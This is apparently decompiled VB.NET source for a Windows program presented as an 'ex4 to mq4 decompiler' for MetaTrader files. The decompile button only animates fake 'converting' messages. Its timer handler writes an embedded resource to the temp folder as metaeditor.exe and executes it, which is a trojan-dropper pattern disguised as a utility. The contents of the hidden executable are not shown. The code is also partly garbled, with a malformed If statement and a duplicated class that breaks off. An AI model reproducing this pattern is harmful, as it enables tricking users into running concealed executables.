fork(53) download
  1.  
  2.  
  3. Namespace WindowsApplication1
  4. <DesignerGenerated> _
  5. Public Class Form1
  6. Inherits Form
  7. ' Methods
  8. <DebuggerNonUserCode> _
  9. Public Sub New()
  10. Form1.__ENCAddToList(Me)
  11. Me.InitializeComponent
  12. End Sub
  13.  
  14. <DebuggerNonUserCode> _
  15. Private Shared Sub __ENCAddToList(ByVal value As Object)
  16. Dim list As List(Of WeakReference) = Form1.__ENCList
  17. SyncLock list
  18. If (Form1.__ENCList.Count = Form1.__ENCList.Capacity) Then
  19. Dim index As Integer = 0
  20. Dim num3 As Integer = (Form1.__ENCList.Count - 1)
  21. Dim i As Integer = 0
  22. Do While (i <= num3)
  23. Dim reference As WeakReference = Form1.__ENCList.Item(i)
  24. If reference.IsAlive Then
  25. If (i <> index) Then
  26. Form1.__ENCList.Item(index) = Form1.__ENCList.Item(i)
  27. End If
  28. index += 1
  29. End If
  30. i += 1
  31. Loop
  32. Form1.__ENCList.RemoveRange(index, (Form1.__ENCList.Count - index))
  33. Form1.__ENCList.Capacity = Form1.__ENCList.Count
  34. End If
  35. Form1.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value)))
  36. End SyncLock
  37. End Sub
  38.  
  39. Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
  40. Me.OpenFileDialog1.Filter = "EX4 FILE |*.ex4"
  41. If (Me.OpenFileDialog1.ShowDialog = DialogResult.OK) Then
  42. Me.TextBox1.Text = Me.OpenFileDialog1.FileName
  43. End If
  44. End Sub
  45.  
  46. Private Sub Button2_Click(ByVal sender As Object, ByVal e As EventArgs)
  47. Me.Timer1.Start
  48. Me.Label1.Text = "converting."
  49. If (Me.TextBox1.Text = Nothing) Then
  50. Me.Timer1.Stop
  51. Me.ProgressBar1.Value = 0
  52.  
  53. End If
  54. End Sub
  55.  
  56. Private Sub Button3_Click(ByVal sender As Object, ByVal e As EventArgs)
  57. Process.Start("https://w...content-available-to-author-only...5.com/en/market/mt4")
  58. End Sub
  59.  
  60. Private Sub Button4_Click(ByVal sender As Object, ByVal e As EventArgs)
  61. Me.OpenFileDialog2.Filter = "Activation FILE |*.reg"
  62. If (Me.OpenFileDialog2.ShowDialog = DialogResult.OK) Then
  63. Me.TextBox2.Text = Me.OpenFileDialog2.FileName
  64.  
  65. End If
  66. End Sub
  67.  
  68. <DebuggerNonUserCode> _
  69. Protected Overrides Sub Dispose(ByVal disposing As Boolean)
  70. Try
  71. If (disposing AndAlso (Not Me.components Is Nothing)) Then
  72. Me.components.Dispose
  73. End If
  74. Finally
  75. MyBase.Dispose(disposing)
  76. End Try
  77. End Sub
  78.  
  79. <DebuggerStepThrough> _
  80. Private Sub InitializeComponent()
  81. Me.components = New Container
  82. Dim manager As New ComponentResourceManager(GetType(Form1))
  83. Me.Button1 = New Button
  84. Me.CheckBox1 = New CheckBox
  85. Me.TextBox1 = New TextBox
  86. Me.CheckBox2 = New CheckBox
  87. Me.CheckBox3 = New CheckBox
  88. Me.Button2 = New Button
  89. Me.Button3 = New Button
  90. Me.ProgressBar1 = New ProgressBar
  91. Me.Timer1 = New Timer(Me.components)
  92. Me.OpenFileDialog1 = New OpenFileDialog
  93. Me.Label1 = New Label
  94. Me.Button4 = New Button
  95. Me.OpenFileDialog2 = New OpenFileDialog
  96. Me.TextBox2 = New TextBox
  97. Me.LinkLabel1 = New LinkLabel
  98. Me.SuspendLayout
  99. Dim point2 As New Point(&H19, &H42)
  100. Me.Button1.Location = point2
  101. Me.Button1.Name = "Button1"
  102. Dim size2 As New Size(&H4B, &H17)
  103. Me.Button1.Size = size2
  104. Me.Button1.TabIndex = 0
  105. Me.Button1.Text = "Load Ex4"
  106. Me.Button1.UseVisualStyleBackColor = True
  107. Me.CheckBox1.AutoSize = True
  108. point2 = New Point(&H74, &H7A)
  109. Me.CheckBox1.Location = point2
  110. Me.CheckBox1.Name = "CheckBox1"
  111. size2 = New Size(&H77, &H11)
  112. Me.CheckBox1.Size = size2
  113. Me.CheckBox1.TabIndex = 1
  114. Me.CheckBox1.Text = "protected or broken"
  115. Me.CheckBox1.UseVisualStyleBackColor = True
  116. point2 = New Point(&H74, &H45)
  117. Me.TextBox1.Location = point2
  118. Me.TextBox1.Name = "TextBox1"
  119. size2 = New Size(&H12D, 20)
  120. Me.TextBox1.Size = size2
  121. Me.TextBox1.TabIndex = 2
  122. Me.CheckBox2.AutoSize = True
  123. point2 = New Point(&H74, &HA4)
  124. Me.CheckBox2.Location = point2
  125. Me.CheckBox2.Name = "CheckBox2"
  126. size2 = New Size(&H77, &H11)
  127. Me.CheckBox2.Size = size2
  128. Me.CheckBox2.TabIndex = 3
  129. Me.CheckBox2.Text = "build 1010 or higher"
  130. Me.CheckBox2.UseVisualStyleBackColor = True
  131. Me.CheckBox3.AutoSize = True
  132. point2 = New Point(&H74, &HCB)
  133. Me.CheckBox3.Location = point2
  134. Me.CheckBox3.Name = "CheckBox3"
  135. size2 = New Size(&H87, &H11)
  136. Me.CheckBox3.Size = size2
  137. Me.CheckBox3.TabIndex = 4
  138. Me.CheckBox3.Text = "check for updates mq4"
  139. Me.CheckBox3.UseVisualStyleBackColor = True
  140. point2 = New Point(&H74, &HF8)
  141. Me.Button2.Location = point2
  142. Me.Button2.Name = "Button2"
  143. size2 = New Size(&H12D, &H47)
  144. Me.Button2.Size = size2
  145. Me.Button2.TabIndex = 5
  146. Me.Button2.Text = "Decompile to Mq4"
  147. Me.Button2.UseVisualStyleBackColor = True
  148. point2 = New Point(&H101, &H7A)
  149. Me.Button3.Location = point2
  150. Me.Button3.Name = "Button3"
  151. size2 = New Size(160, &H62)
  152. Me.Button3.Size = size2
  153. Me.Button3.TabIndex = 6
  154. Me.Button3.Text = "Download Market Files"
  155. Me.Button3.UseVisualStyleBackColor = True
  156. point2 = New Point(&H19, 12)
  157. Me.ProgressBar1.Location = point2
  158. Me.ProgressBar1.Name = "ProgressBar1"
  159. size2 = New Size(&H42, &H17)
  160. Me.ProgressBar1.Size = size2
  161. Me.ProgressBar1.TabIndex = 7
  162. Me.ProgressBar1.Visible = False
  163. Me.Label1.AutoSize = True
  164. Me.Label1.BackColor = SystemColors.ActiveCaptionText
  165. Me.Label1.Dock = DockStyle.Bottom
  166. point2 = New Point(0, &H14D)
  167. Me.Label1.Location = point2
  168. Me.Label1.Name = "Label1"
  169. size2 = New Size(0, 13)
  170. Me.Label1.Size = size2
  171. Me.Label1.TabIndex = 8
  172. point2 = New Point(&H132, 12)
  173. Me.Button4.Location = point2
  174. Me.Button4.Name = "Button4"
  175. size2 = New Size(&H6F, &H17)
  176. Me.Button4.Size = size2
  177. Me.Button4.TabIndex = 9
  178. Me.Button4.Text = "Load Activation file "
  179. Me.Button4.UseVisualStyleBackColor = True
  180. point2 = New Point(&H97, &H20)
  181. Me.TextBox2.Location = point2
  182. Me.TextBox2.Name = "TextBox2"
  183. size2 = New Size(100, 20)
  184. Me.TextBox2.Size = size2
  185. Me.TextBox2.TabIndex = 10
  186. Me.TextBox2.Visible = False
  187. Me.LinkLabel1.AutoSize = True
  188. Me.LinkLabel1.LinkColor = Color.Red
  189. point2 = New Point(&H156, &H14D)
  190. Me.LinkLabel1.Location = point2
  191. Me.LinkLabel1.Name = "LinkLabel1"
  192. size2 = New Size(&H4B, 13)
  193. Me.LinkLabel1.Size = size2
  194. Me.LinkLabel1.TabIndex = 11
  195. Me.LinkLabel1.TabStop = True
  196. Me.LinkLabel1.Text = "Un-Registered"
  197. Dim ef2 As New SizeF(6!, 13!)
  198. Me.AutoScaleDimensions = ef2
  199. Me.AutoScaleMode = AutoScaleMode.Font
  200. size2 = New Size(&H1A7, &H15A)
  201. Me.ClientSize = size2
  202. Me.Controls.Add(Me.LinkLabel1)
  203. Me.Controls.Add(Me.TextBox2)
  204. Me.Controls.Add(Me.Button4)
  205. Me.Controls.Add(Me.Label1)
  206. Me.Controls.Add(Me.ProgressBar1)
  207. Me.Controls.Add(Me.Button3)
  208. Me.Controls.Add(Me.Button2)
  209. Me.Controls.Add(Me.CheckBox3)
  210. Me.Controls.Add(Me.CheckBox2)
  211. Me.Controls.Add(Me.TextBox1)
  212. Me.Controls.Add(Me.CheckBox1)
  213. Me.Controls.Add(Me.Button1)
  214. Me.FormBorderStyle = FormBorderStyle.FixedSingle
  215. Me.Icon = DirectCast(manager.GetObject("$this.Icon"), Icon)
  216. Me.MaximizeBox = False
  217. Me.MinimizeBox = False
  218. Me.Name = "Form1"
  219. Me.StartPosition = FormStartPosition.CenterScreen
  220. Me.Text = "ex4 to mq4 decompiler 2016-17"
  221. Me.ResumeLayout(False)
  222. Me.PerformLayout
  223. End Sub
  224.  
  225. Private Sub LinkLabel1_LinkClicked(ByVal sender As Object, ByVal e As LinkLabelLinkClickedEventArgs)
  226. Me.OpenFileDialog2.Filter = "Activation FILE |*.reg"
  227. If (Me.OpenFileDialog2.ShowDialog = DialogResult.OK) Then
  228. Me.TextBox2.Text = Me.OpenFileDialog2.FileName
  229.  
  230. End If
  231. End Sub
  232.  
  233. Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs)
  234. Me.ProgressBar1.Increment(1)
  235. If (Me.ProgressBar1.Value = &H34) Then
  236. File.WriteAllBytes((MyProject.Computer.FileSystem.SpecialDirectories.Temp & "\metaeditor.exe"), Resources.metaeditor)
  237. Process.Start((MyProject.Computer.FileSystem.SpecialDirectories.Temp & "\metaeditor.exe"))
  238. End If
  239. If (Me.ProgressBar1.Value = &H30)
  240.  
  241. Me.Timer1.Stop
  242. End If
  243. If (Me.ProgressBar1.Value = 10) Then
  244. Me.Label1.Text = "converting.."
  245. End If
  246. If (Me.ProgressBar1.Value = 20) Then
  247. Me.Label1.Text = "converting..."
  248. End If
  249. If (Me.ProgressBar1.Value = 30) Then
  250. Me.Label1.Text = "converting...."
  251. End If
  252. If (Me.ProgressBar1.Value = 40) Then
  253. Me.Label1.Text = "converting....."
  254. End If
  255. End Sub
  256.  
  257.  
  258. ' Properties
  259. Friend Overridable Property Button1 As Button
  260. <DebuggerNonUserCode> _
  261. Get
  262. Return Me._Button1
  263. End Get
  264. <MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
  265. Set(ByVal WithEventsValue As Button)
  266. Dim handler As EventHandler = New EventHandler(AddressOf Me.Button1_Click)
  267. If (Not Me._Button1 Is Nothing) Then
  268. RemoveHandler Me._Button1.Click, handler
  269. End If
  270. Me._Button1 = WithEventsValue
  271. If (Not Me._Button1 Is Nothing) Then
  272. AddHandler Me._Button1.Click, handler
  273. End If
  274. End Set
  275. End Property
  276.  
  277. Friend Overridable Property Button2 As Button
  278. <DebuggerNonUserCode> _
  279. Get
  280. Return Me._Button2
  281. End Get
  282. <MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
  283. Set(ByVal WithEventsValue As Button)
  284. Dim handler As EventHandler = New EventHandler(AddressOf Me.Button2_Click)
  285. If (Not Me._Button2 Is Nothing) Then
  286. RemoveHandler Me._Button2.Click, handler
  287. End If
  288. Me._Button2 = WithEventsValue
  289. If (Not Me._Button2 Is Nothing) Then
  290. AddHandler Me._Button2.Click, handler
  291. End If
  292. End Set
  293. End Property
  294.  
  295. Friend Overridable Property Button3 As Button
  296. <DebuggerNonUserCode> _
  297. Get
  298. Return Me._Button3
  299. End Get
  300. <MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
  301. Set(ByVal WithEventsValue As Button)
  302. Dim handler As EventHandler = New EventHandler(AddressOf Me.Button3_Click)
  303. If (Not Me._Button3 Is Nothing) Then
  304. RemoveHandler Me._Button3.Click, handler
  305. End If
  306. Me._Button3 = WithEventsValue
  307. If (Not Me._Button3 Is Nothing) Then
  308. AddHandler Me._Button3.Click, handler
  309. End If
  310. End Set
  311. End Property
  312.  
  313. Friend Overridable Property Button4 As Button
  314. <DebuggerNonUserCode> _
  315. Get
  316. Return Me._Button4
  317. End Get
  318. <MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
  319. Set(ByVal WithEventsValue As Button)
  320. Dim handler As EventHandler = New EventHandler(AddressOf Me.Button4_Click)
  321. If (Not Me._Button4 Is Nothing) Then
  322. RemoveHandler Me._Button4.Click, handler
  323. End If
  324. Me._Button4 = WithEventsValue
  325. If (Not Me._Button4 Is Nothing) Then
  326. AddHandler Me._Button4.Click, handler
  327. End If
  328. End Set
  329. End Property
  330.  
  331. Friend Overridable Property CheckBox1 As CheckBox
  332. <DebuggerNonUserCode> _
  333. Get
  334. Return Me._CheckBox1
  335. End Get
  336. <MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
  337. Set(ByVal WithEventsValue As CheckBox)
  338. Me._CheckBox1 = WithEventsValue
  339. End Set
  340. End Property
  341.  
  342. Friend Overridable Property CheckBox2 As CheckBox
  343. <DebuggerNonUserCode> _
  344. Get
  345. Return Me._CheckBox2
  346. End Get
  347. <MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
  348. Set(ByVal WithEventsValue As CheckBox)
  349. Me._CheckBox2 = WithEventsValue
  350. End Set
  351. End Property
  352.  
  353. Friend Overridable Property CheckBox3 As CheckBox
  354. <DebuggerNonUserCode> _
  355. Get
  356. Return Me._CheckBox3
  357. End Get
  358. <MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
  359. Set(ByVal WithEventsValue As CheckBox)
  360. Me._CheckBox3 = WithEventsValue
  361. End Set
  362. End Property
  363.  
  364. Friend Overridable Property Label1 As Label
  365. <DebuggerNonUserCode> _
  366. Get
  367. Return Me._Label1
  368. End Get
  369. <MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
  370. Set(ByVal WithEventsValue As Label)
  371. Me._Label1 = WithEventsValue
  372. End Set
  373. End Property
  374.  
  375. Friend Overridable Property LinkLabel1 As LinkLabel
  376. <DebuggerNonUserCode> _
  377. Get
  378. Return Me._LinkLabel1
  379. End Get
  380. <MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
  381. Set(ByVal WithEventsValue As LinkLabel)
  382. Dim handler As LinkLabelLinkClickedEventHandler = New LinkLabelLinkClickedEventHandler(AddressOf Me.LinkLabel1_LinkClicked)
  383. If (Not Me._LinkLabel1 Is Nothing) Then
  384. RemoveHandler Me._LinkLabel1.LinkClicked, handler
  385. End If
  386. Me._LinkLabel1 = WithEventsValue
  387. If (Not Me._LinkLabel1 Is Nothing) Then
  388. AddHandler Me._LinkLabel1.LinkClicked, handler
  389. End If
  390. End Set
  391. End Property
  392.  
  393. Friend Overridable Property OpenFileDialog1 As OpenFileDialog
  394. <DebuggerNonUserCode> _
  395. Get
  396. Return Me._OpenFileDialog1
  397. End Get
  398. <MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
  399. Set(ByVal WithEventsValue As OpenFileDialog)
  400. Me._OpenFileDialog1 = WithEventsValue
  401. End Set
  402. End Property
  403.  
  404. Friend Overridable Property OpenFileDialog2 As OpenFileDialog
  405. <DebuggerNonUserCode> _
  406. Get
  407. Return Me._OpenFileDialog2
  408. End Get
  409. <MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
  410. Set(ByVal WithEventsValue As OpenFileDialog)
  411. Me._OpenFileDialog2 = WithEventsValue
  412. End Set
  413. End Property
  414.  
  415. Friend Overridable Property ProgressBar1 As ProgressBar
  416. <DebuggerNonUserCode> _
  417. Get
  418. Return Me._ProgressBar1
  419. End Get
  420. <MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
  421. Set(ByVal WithEventsValue As ProgressBar)
  422. Me._ProgressBar1 = WithEventsValue
  423. End Set
  424. End Property
  425.  
  426. Friend Overridable Property TextBox1 As TextBox
  427. <DebuggerNonUserCode> _
  428. Get
  429. Return Me._TextBox1
  430. End Get
  431. <MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
  432. Set(ByVal WithEventsValue As TextBox)
  433. Me._TextBox1 = WithEventsValue
  434. End Set
  435. End Property
  436.  
  437. Friend Overridable Property TextBox2 As TextBox
  438. <DebuggerNonUserCode> _
  439. Get
  440. Return Me._TextBox2
  441. End Get
  442. <MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
  443. Set(ByVal WithEventsValue As TextBox)
  444. Me._TextBox2 = WithEventsValue
  445. End Set
  446. End Property
  447.  
  448. Friend Overridable Property Timer1 As Timer
  449. <DebuggerNonUserCode> _
  450. Get
  451. Return Me._Timer1
  452. End Get
  453. <MethodImpl(MethodImplOptions.Synchronized), DebuggerNonUserCode> _
  454. Set(ByVal WithEventsValue As Timer)
  455. Dim handler As EventHandler = New EventHandler(AddressOf Me.Timer1_Tick)
  456. If (Not Me._Timer1 Is Nothing) Then
  457. RemoveHandler Me._Timer1.Tick, handler
  458. End If
  459. Me._Timer1 = WithEventsValue
  460. If (Not Me._Timer1 Is Nothing) Then
  461. AddHandler Me._Timer1.Tick, handler
  462. End If
  463. End Set
  464. End Property
  465.  
  466.  
  467. ' Fields
  468. Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference)
  469. <AccessedThroughProperty("Button1")> _
  470. Private _Button1 As Button
  471. <AccessedThroughProperty("Button2")> _
  472. Private _Button2 As Button
  473. <AccessedThroughProperty("Button3")> _
  474. Private _Button3 As Button
  475. <AccessedThroughProperty("Button4")> _
  476. Private _Button4 As Button
  477. <AccessedThroughProperty("CheckBox1")> _
  478. Private _CheckBox1 As CheckBox
  479. <AccessedThroughProperty("CheckBox2")> _
  480. Private _CheckBox2 As CheckBox
  481. <AccessedThroughProperty("CheckBox3")> _
  482. Private _CheckBox3 As CheckBox
  483. <AccessedThroughProperty("Label1")> _
  484. Private _Label1 As Label
  485. <AccessedThroughProperty("LinkLabel1")> _
  486. Private _LinkLabel1 As LinkLabel
  487. <AccessedThroughProperty("OpenFileDialog1")> _
  488. Private _OpenFileDialog1 As OpenFileDialog
  489. <AccessedThroughProperty("OpenFileDialog2")> _
  490. Private _OpenFileDialog2 As OpenFileDialog
  491. <AccessedThroughProperty("ProgressBar1")> _
  492. Private _ProgressBar1 As ProgressBar
  493. <AccessedThroughProperty("TextBox1")> _
  494. Private _TextBox1 As TextBox
  495. <AccessedThroughProperty("TextBox2")> _
  496. Private _TextBox2 As TextBox
  497. <AccessedThroughProperty("Timer1")> _
  498. Private _Timer1 As Timer
  499. Private components As IContainer
  500. End Class
  501. End Namespace
  502. Namespace WindowsApplication1.My
  503. <EditorBrowsable(EditorBrowsableState.Never), GeneratedCode("MyTemplate", "10.0.0.0")> _
  504. Friend Class MyApplication
  505. Inherits WindowsFormsApplicationBase
  506. ' Methods
  507. <DebuggerStepThrough()> _
  508. Public Sub New()
  509. MyBase.New(AuthenticationMode.Windows)
  510. MyApplication.__ENCAddToList(Me)
  511. Me.IsSingleInstance = False
  512. Me.EnableVisualStyles = True
  513. Me.SaveMySettingsOnExit = True
  514. Me.ShutdownStyle = ShutdownMode.AfterMainFormCloses
  515. End Sub
  516.  
  517. <DebuggerNonUserCode()> _
  518. Private Shared Sub __ENCAddToList(ByVal value As Object)
  519. Dim list As List(Of WeakReference) = MyApplication.__ENCList
  520. SyncLock list
  521. If (MyApplication.__ENCList.Count = MyApplication.__ENCList.Capacity) Then
  522. Dim index As Integer = 0
  523. Dim num3 As Integer = (MyApplication.__ENCList.Count - 1)
  524. Dim i As Integer = 0
  525. Do While (i <= num3)
  526. Dim reference As WeakReference = MyApplication.__ENCList.Item(i)
  527. If reference.IsAlive Then
  528. If (i <> index) Then
  529. MyApplication.__ENCList.Item(index) = MyApplication.__ENCList.Item(i)
  530. End If
  531. index += 1
  532. End If
  533. i += 1
  534. Loop
  535. MyApplication.__ENCList.RemoveRange(index, (MyApplication.__ENCList.Count - index))
  536. MyApplication.__ENCList.Capacity = MyApplication.__ENCList.Count
  537. End If
  538. MyApplication.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value)))
  539. End SyncLock
  540. End Sub
  541.  
  542. <MethodImpl((MethodImplOptions.NoOptimization Or MethodImplOptions.NoInlining)), STAThread(), EditorBrowsable(EditorBrowsableState.Advanced), DebuggerHidden()> _
  543. Friend Shared Sub Main(ByVal Args As String())
  544. Try
  545. Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering)
  546. End Try
  547. MyProject.Application.Run(Args)
  548. End Sub
  549.  
  550. <DebuggerStepThrough()> _
  551. Protected Overrides Sub OnCreateMainForm()
  552. Me.MainForm = MyProject.Forms.Form1
  553. End Sub
  554.  
  555.  
  556. ' Fields
  557. Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference)
  558. End Class
  559. End Namespace
  560.  
  561.  
  562. <StandardModule(), GeneratedCode("MyTemplate", "10.0.0.0"), HideModuleName()> _
  563. Friend NotInheritable Class MyProject
  564. ' Properties
  565. <HelpKeyword("My.Application")> _
  566. Friend Shared ReadOnly Property Application() As MyApplication
  567. <DebuggerHidden()> _
  568. Get
  569. Return MyProject.m_AppObjectProvider.GetInstance
  570. End Get
  571. End Property
  572.  
  573. <HelpKeyword("My.Computer")> _
  574. Friend Shared ReadOnly Property Computer() As MyComputer
  575. <DebuggerHidden()> _
  576. Get
  577. Return MyProject.m_ComputerObjectProvider.GetInstance
  578. End Get
  579. End Property
  580.  
  581. <HelpKeyword("My.Forms")> _
  582. Friend Shared ReadOnly Property Forms() As MyForms
  583. <DebuggerHidden()> _
  584. Get
  585. Return MyProject.m_MyFormsObjectProvider.GetInstance
  586. End Get
  587. End Property
  588.  
  589. <HelpKeyword("My.User")> _
  590. Friend Shared ReadOnly Property User() As User
  591. <DebuggerHidden()> _
  592. Get
  593. Return MyProject.m_UserObjectProvider.GetInstance
  594. End Get
  595. End Property
  596.  
  597. <HelpKeyword("My.WebServices")> _
  598. Friend Shared ReadOnly Property WebServices() As MyWebServices
  599. <DebuggerHidden()> _
  600. Get
  601. Return MyProject.m_MyWebServicesObjectProvider.GetInstance
  602. End Get
  603. End Property
  604.  
  605.  
  606. ' Fields
  607. Private Shared ReadOnly m_AppObjectProvider As ThreadSafeObjectProvider(Of MyApplication) = New ThreadSafeObjectProvider(Of MyApplication)
  608. Private Shared ReadOnly m_ComputerObjectProvider As ThreadSafeObjectProvider(Of MyComputer) = New ThreadSafeObjectProvider(Of MyComputer)
  609. Private Shared m_MyFormsObjectProvider As ThreadSafeObjectProvider(Of MyForms) = New ThreadSafeObjectProvider(Of MyForms)
  610. Private Shared ReadOnly m_MyWebServicesObjectProvider As ThreadSafeObjectProvider(Of MyWebServices) = New ThreadSafeObjectProvider(Of MyWebServices)
  611. Private Shared ReadOnly m_UserObjectProvider As ThreadSafeObjectProvider(Of User) = New ThreadSafeObjectProvider(Of User)
  612.  
  613. ' Nested Types
  614. <EditorBrowsable(EditorBrowsableState.Never), MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")> _
  615. Friend NotInheritable Class MyForms
  616. ' Methods
  617. <DebuggerHidden()> _
  618. Private Shared Function Create__Instance__(Of T As {Form, New})(ByVal Instance As T) As T
  619. Dim local As T
  620. Dim exception As TargetInvocationException
  621. If (If(((Instance Is Nothing) OrElse Instance.IsDisposed), 1, 0) = 0) Then
  622. Return Instance
  623. End If
  624. If (Not MyForms.m_FormBeingCreated Is Nothing) Then
  625. If MyForms.m_FormBeingCreated.ContainsKey(GetType(T)) Then
  626. Throw New InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate", New String(0 - 1) {}))
  627. End If
  628. Else
  629. MyForms.m_FormBeingCreated = New Hashtable
  630. End If
  631. MyForms.m_FormBeingCreated.Add(GetType(T), Nothing)
  632. Try
  633. Return Activator.CreateInstance(Of T)()
  634. Catch exception1 As TargetInvocationException When ((Not exception.InnerException Is Nothing))
  635. ProjectData.SetProjectError(exception = exception1)
  636. Throw New InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", New String() {exception.InnerException.Message}), exception.InnerException)
  637. ProjectData.ClearProjectError()
  638. Finally
  639. MyForms.m_FormBeingCreated.Remove(GetType(T))
  640. End Try
  641. Return local
  642. End Function
  643.  
  644. <DebuggerHidden()> _
  645. Private Sub Dispose__Instance__(Of T As Form)(ByRef instance As T)
  646. instance.Dispose()
  647. instance = CType(Nothing, T)
  648. End Sub
  649.  
  650. <EditorBrowsable(EditorBrowsableState.Never)> _
  651. Public Overrides Function Equals(ByVal o As Object) As Boolean
  652. Return MyBase.Equals(RuntimeHelpers.GetObjectValue(o))
  653. End Function
  654.  
  655. <EditorBrowsable(EditorBrowsableState.Never)> _
  656. Public Overrides Function GetHashCode() As Integer
  657. Return MyBase.GetHashCode
  658. End Function
  659.  
  660. <EditorBrowsable(EditorBrowsableState.Never)> _
  661. Friend Function [GetType]() As Type
  662. Return GetType(MyForms)
  663. End Function
  664.  
  665. <EditorBrowsable(EditorBrowsableState.Never)> _
  666. Public Overrides Function ToString() As String
  667. Return MyBase.ToString
  668. End Function
  669.  
  670.  
  671. ' Properties
  672. Public Property Form1() As Form1
  673. <DebuggerNonUserCode()> _
  674. Get
  675. Me.m_Form1 = MyForms.Create__Instance__(Of Form1)(Me.m_Form1)
  676. Return Me.m_Form1
  677. End Get
  678. <DebuggerNonUserCode()> _
  679. Set(ByVal Value As Form1)
  680. If (Not Value Is Me.m_Form1) Then
  681. If (Not Value Is Nothing) Then
  682. Throw New ArgumentException("Property can only be set to Nothing")
  683. End If
  684. Me.Dispose__Instance__(Of Form1)(Me.m_Form1)
  685. End If
  686. End Set
  687. End Property
  688.  
  689.  
  690. ' Fields
  691. Public m_Form1 As Form1
  692. <ThreadStatic()> _
  693. Private Shared m_FormBeingCreated As Hashtable
  694. End Class
  695.  
  696. <MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", ""), EditorBrowsable(EditorBrowsableState.Never)> _
  697. Friend NotInheritable Class MyWebServices
  698. ' Methods
  699. <DebuggerHidden()> _
  700. Private Shared Function Create__Instance__(Of T As New)(ByVal instance As T) As T
  701. If (instance Is Nothing) Then
  702. Return Activator.CreateInstance(Of T)()
  703. End If
  704. Return instance
  705. End Function
  706.  
  707. <DebuggerHidden()> _
  708. Private Sub Dispose__Instance__(Of T)(ByRef instance As T)
  709. instance = CType(Nothing, T)
  710. End Sub
  711.  
  712. <DebuggerHidden(), EditorBrowsable(EditorBrowsableState.Never)> _
  713. Public Overrides Function Equals(ByVal o As Object) As Boolean
  714. Return MyBase.Equals(RuntimeHelpers.GetObjectValue(o))
  715. End Function
  716.  
  717. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()> _
  718. Public Overrides Function GetHashCode() As Integer
  719. Return MyBase.GetHashCode
  720. End Function
  721.  
  722. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()> _
  723. Friend Function [GetType]() As Type
  724. Return GetType(MyWebServices)
  725. End Function
  726.  
  727. <EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()> _
  728. Public Overrides Function ToString() As String
  729. Return MyBase.ToString
  730. End Function
  731.  
  732. End Class
  733.  
  734. <EditorBrowsable(EditorBrowsableState.Never), ComVisible(False)> _
  735. Friend NotInheritable Class ThreadSafeObjectProvider(Of T As New)
  736. ' Properties
  737. Friend ReadOnly Property GetInstance() As T
  738. <DebuggerHidden()> _
  739. Get
  740. If (ThreadSafeObjectProvider(Of T).m_ThreadStaticValue Is Nothing) Then
  741. ThreadSafeObjectProvider(Of T).m_ThreadStaticValue = Activator.CreateInstance(Of T)()
  742. End If
  743. Return ThreadSafeObjectProvider(Of T).m_ThreadStaticValue
  744. End Get
  745. End Property
  746.  
  747.  
  748. ' Fields
  749. <CompilerGenerated(), ThreadStatic()> _
  750. Private Shared m_ThreadStaticValue As T
  751. End Class
  752. End Class
  753.  
  754. <EditorBrowsable(EditorBrowsableState.Advanced), CompilerGenerated(), GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")> _
  755. Friend NotInheritable Class MySettings
  756. Inherits ApplicationSettingsBase
  757. ' Methods
  758. <DebuggerNonUserCode(), EditorBrowsable(EditorBrowsableState.Advanced)> _
  759. Private Shared Sub AutoSaveSettings(ByVal sender As Object, ByVal e As EventArgs)
  760. If MyProject.Application.SaveMySettingsOnExit Then
  761. MySettingsProperty.Settings.Save()
  762. End If
  763. End Sub
  764.  
  765.  
  766. ' Properties
  767. Public Shared ReadOnly Property [Default]() As MySettings
  768. Get
  769. If Not MySettings.addedHandler Then
  770. Dim addedHandlerLockObject As Object = MySettings.addedHandlerLockObject
  771. ObjectFlowControl.CheckForSyncLockOnValueType(addedHandlerLockObject)
  772. SyncLock addedHandlerLockObject
  773. If Not MySettings.addedHandler Then
  774. AddHandler MyProject.Application.Shutdown, New ShutdownEventHandler(AddressOf MySettings.AutoSaveSettings)
  775. MySettings.addedHandler = True
  776. End If
  777. End SyncLock
  778. End If
  779. Return MySettings.defaultInstance
  780. End Get
  781. End Property
  782.  
  783.  
  784. ' Fields
  785. Private Shared addedHandler As Boolean
  786. Private Shared addedHandlerLockObject As Object = RuntimeHelpers.GetObjectValue(New Object)
  787. Private Shared defaultInstance As MySettings = DirectCast(SettingsBase.Synchronized(New MySettings), MySettings)
  788. End Class
  789.  
  790.  
  791.  
  792.  
  793.  
  794. <EditorBrowsable(EditorBrowsableState.Never), GeneratedCode("MyTemplate", "10.0.0.0")> _
  795. Friend Class MyApplication
  796. Inherits WindowsFormsApplicationBase
  797. ' Methods
  798. <DebuggerStepThrough()> _
  799. Public Sub New()
  800. MyBase.New(AuthenticationMode.Windows)
